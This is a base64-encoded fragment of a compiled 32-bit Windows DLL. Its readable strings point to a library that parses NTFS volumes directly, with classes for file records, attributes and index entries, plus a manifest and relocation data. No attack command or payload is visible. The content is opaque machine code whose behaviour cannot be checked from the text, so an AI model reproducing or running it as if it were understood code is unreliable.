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ApP8AEAAAAAAuP0FWZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAAAApP8AEAAAAAAuP0FWX0dlbmVyaWNfZXJyb3JfY2F0ZWdvcnlAc3RkQEAAAACk/wAQAAAAAC4/QVY/JENBdHRyX0JpdG1hcEBWQ0F0dHJSZXNpZGVudEBAQEAAAACk/wAQAAAAAC4/QVY/JENBdHRyX0JpdG1hcEBWQ0F0dHJOb25SZXNpZGVudEBAQEAAAAAApP8AEAAAAAAuP0FWPyRDQXR0cl9EYXRhQFZDQXR0clJlc2lkZW50QEBAQACk/wAQAAAAAC4/QVY/JENBdHRyX0RhdGFAVkNBdHRyTm9uUmVzaWRlbnRAQEBAAACk/wAQAAAAAC4/QVY/JENBdHRyX0F0dHJMaXN0QFZDQXR0clJlc2lkZW50QEBAQACk/wAQAAAAAC4/QVY/JENBdHRyX0F0dHJMaXN0QFZDQXR0ck5vblJlc2lkZW50QEBAQAAApP8AEAAAAAAuP0FWPyRDU0xpc3RAVkNGaWxlUmVjb3JkQEBAQAAAAKT/ABAAAAAALj9BVkNBdHRyX0luZGV4QWxsb2NAQAAApP8AEAAAAAAuP0FWQ0F0dHJfSW5kZXhSb290QEAAAACk/wAQAAAAAC4/QVZDSW5kZXhCbG9ja0BAAAAApP8AEAAAAAAuP0FWQ0F0dHJfVm9sTmFtZUBAAKT/ABAAAAAALj9BVkNBdHRyX1ZvbEluZm9AQACk/wAQAAAAAC4/QVZDQXR0cl9GaWxlTmFtZUBAAAAAAKT/ABAAAAAALj9BVkNBdHRyX1N0ZEluZm9AQACk/wAQAAAAAC4/QVZDQXR0ck5vblJlc2lkZW50QEAAAKT/ABAAAAAALj9BVkNBdHRyUmVzaWRlbnRAQACk/wAQAAAAAC4/QVY/JENTTGlzdEBWQ0luZGV4RW50cnlAQEBAAAAApP8AEAAAAAAuP0FWPyRDU0xpc3RAVXRhZ0RhdGFSdW5fRW50cnlAQEBAAACk/wAQAAAAAC4/QVY/JENTTGlzdEBWQ0F0dHJCYXNlQEBAQACk/wAQAAAAAC4/QVZDRmlsZVJlY29yZEBAAAAApP8AEAAAAAAuP0FWQ05URlNWb2x1bWVAQAAAAKT/ABAAAAAALj9BVkNGaWxlTmFtZUBAAKT/ABAAAAAALj9BVkNJbmRleEV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0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD/UP9g/3D8AAAAAAQBAAAAArDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOXw6gDqEOog6AAAAEAEAXAMAADgyPDJAMkQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AAAAgAQBQAAAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMQAAADABAMwAAABQM1QzWDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ0AEABALQCAACEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DPwM/Qz+DP8MwA0BDQINAw0EDQUNBg0HDQgNCQ0KDQsNDA0NDQ4NDw0QDRENEg0TDRQNFQ0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSkNKg0rDSwNLQ0uDS8NMA0xDTINMw00DTUNNg03DTgNOQ06DTsNPA09DT4NPw0ADUENUQ1SDXENdw17DXwNQQ2CDYYNhw2IDYoNkA2UDZUNmQ2aDZsNnQ2jDacNqA2sDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3XDd0N4Q3iDeYN5w3rDewN7Q3vDfUN+Q36DcAOBA4FDgYOBw4MDg0ODg4UDhUOGw4fDiAOJA4lDiYOKA4uDjIONg43DjgOOQ4+Dj8OAA5BDkMORA5FDkcOSA5JDksOTA5NDk8OUA5RDlMOVA5VDlcOWA5ZDlsOXQ5eDl8OYQ5iDmMOZA5mDmcOaQ5qDmsObQ5uDm8OcQ5yDnMOdA52DncOeA56DnsOfQ5+DkAOgg6EDoYOiA6KDosOjQ6PDpEOlw6YDp4Onw6lDqYOrA6tDrMOtA66DrsOgQ7CDsgOyQ7PDtAO1g7XDt0O3g7kDuUO6w7sDvIO8w75DvoOwA8BDwcPCA8ODw8PFQ8WDxwPHQ8jDyQPKg8rDzEPMg84DzkPPw8AD0YPSg9OD1IPVg9aD14PYg9mD2oPbg9yD3YPeg9+D0IPhg+KD44Pkg+WD5oPng+iD6YPqg+rD68PsA+0D7UPuQ+6D74Pvw+DD8QPyA/JD80Pzg/SD9MP1w/YD9wP3Q/hD+IP5g/nD+sP7A/wD/EP9Q/2D/oP+w//D8AUAEAQAEAAAAwEDAUMCQwKDA4MDwwTDBQMGAwZDB0MHgwiDCMMJwwoDAkMSwxNDE4MUAxVDFcMXAxeDGMMZQxnDGkMagxrDG0Mcgx0DHYMeAx5DHoMfAxBDIgMkAyYDJ8MoAyoDK8MsAy4DIAMyAzQDNgM4AzjDOoM7QzzDPQM+wz8DMQNDA0UDRYNFw0eDSANIQ0nDSgNLw0wDTQNPQ0ADUINTQ1ODVANUg1UDVUNVw1cDWQNaw1sDXQNfA1EDYwNjw2WDZ4Npg2uDbYNuQ27DYwN0Q3VDdkN3A3kDecN7w3yDfoN/Q3FDggOEA4SDhQOFw4fDiEOIw4mDi4OMA4yDjUOPQ4ADkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXg5mDmkOcQ50DnwOfg5BDokOiw6ODpYOmQ6hDqMOpg6uDrAOgBwAQA4AQAAADAcMDgwWDB4MKAw4DAINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrw2wDbENsg2zDbQNtQ22DbcNuA25DboNuw28Db0Nvg2/DYANwQ3CDcMNxA3FDcYNxw3IDckNyg3LDcwNzQ3ODc8N0A3RDdIN0w3UDdUN1g3XDdgN2Q3aDdsN5Q3pDe0N8Q31Df0NwA4BDgIOAw4NDg4ODw48DkwOzQ7ODs8O0A7RDtIO0w7UDtUO2A7aDtsO3A7dDt4O3w7gDuEO4g7jDuYO5w7oDukO6g7rDuwO7Q7wDvEO8g70DtwPpw+yD7sPhg/SD98P6g/2D8AAACAAQA0AAAACDA8MGQwhDCkMMAw3DD4MBgxNDFUMXAxmDHEMegxBDIgMjgyVDJsMnAydDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA